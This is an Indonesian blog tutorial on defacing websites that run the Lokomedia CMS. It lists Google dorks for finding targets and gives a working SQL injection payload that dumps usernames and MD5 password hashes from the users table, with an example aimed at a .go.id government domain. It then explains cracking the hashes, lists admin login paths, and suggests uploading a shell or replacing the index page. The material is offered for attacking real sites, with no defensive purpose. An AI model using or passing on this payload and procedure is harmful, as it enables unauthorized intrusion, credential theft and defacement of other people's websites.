Cara Deface poc SQL LOKOMEDIA

Assalamualaikum jumpa lagi dengan saya MrBlachat kali ini aku akan kasih saya kasih tutorial cara deface SQL LOKOMEDIA Oke langsung saja

Bahan
- hp/pc
- dork
- internet pastinya
- MD 5Decrypter
- pacar biar ada yang semangatin
- kopi biar otak fresss

Dork:- inurl:statis-1-pengantar.html
            - inurl:statis-1/profil.html
            - inurl:statis-19-beasiswa.html
            - inurl:statis-22-kerjasama.html
Kembangin lagi gan sesuai otak kalian

Exploit: 'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+

Ok langsung saja ke tutorial nya
Pertama kalian dorking di google kesayangan anda kayak seperti di bawah ini

Jika kalian dah punya target tinggal kalian masukkan exploit nya di atas
Contoh:
http://nama domain.go.id/statis-'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+1-profil.html

Jika sudah nati akan ketahuan unser name nya dan passnya untuk cara lihat nya Kalian tulis
view-source: masukan di belakang https:// atau CTRL+U  pada perangkat kalian Cari bagian <title> nanti akan ada unser passnya tapi pass nya dalam bentuk MD5  kayak gambar di bawah ini.

Nanti akan muncul banyak unser sama pass tergantung dari websitenya.

Habis itu copy password nya yang bentuk angka itu dan pastikan di MD5.

Jika sudah nemu passwordnya kalian tinggal login untuk cara login nya di bawah ini

Site.com/administrator
Site.com/adminweb
Site.com/admin
Site.com/cp-admin
Site.com/redaktur
Site.com/Panel



Pulih salah satu halaman web tersebut, jika tidak bisa kalian juga bisa makai pake aplikasi
Admin Login Finder

Jika kalian sudah berhasil login terserah kalian mau ngapain upload shell atau tebas index terserah.
Sekian dari tutorial dari saya mohon maaf jika ada kesalahan atau pun apa wassalamualaikum wr wb sampai jumpa lagi di blog selanjutnya 😇